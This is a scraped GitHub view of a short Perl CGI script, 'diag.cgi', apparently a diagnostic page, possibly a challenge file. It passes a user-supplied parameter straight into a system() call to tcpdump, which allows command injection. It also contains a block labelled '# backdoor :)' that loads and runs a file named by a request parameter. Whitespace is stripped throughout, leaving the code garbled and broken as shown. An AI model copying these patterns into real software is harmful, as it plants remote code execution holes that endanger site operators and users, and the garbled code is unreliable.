- Notifications
You must be signed in to change notification settings - Fork 480
/
Copy pathdiag.cgi
26 lines (19 loc) · 546 Bytes
/
diag.cgi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/perl
use lib '/var/www/html/';
use strict;
use CGI ();
use DSSafe;
subtcpdump_options_syntax_check {
my$options = shift;
return$optionsifsystem("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
returnundef;
}
print"Content-type: text/html\n\n";
my$options = CGI::param("options");
my$output = tcpdump_options_syntax_check($options);
# backdoor :)
my$tpl = CGI::param("tpl");
if (length$tpl > 0 && index($tpl, "..") == -1) {
$tpl = "./tmp/" . $tpl . ".thtml";
require($tpl);
}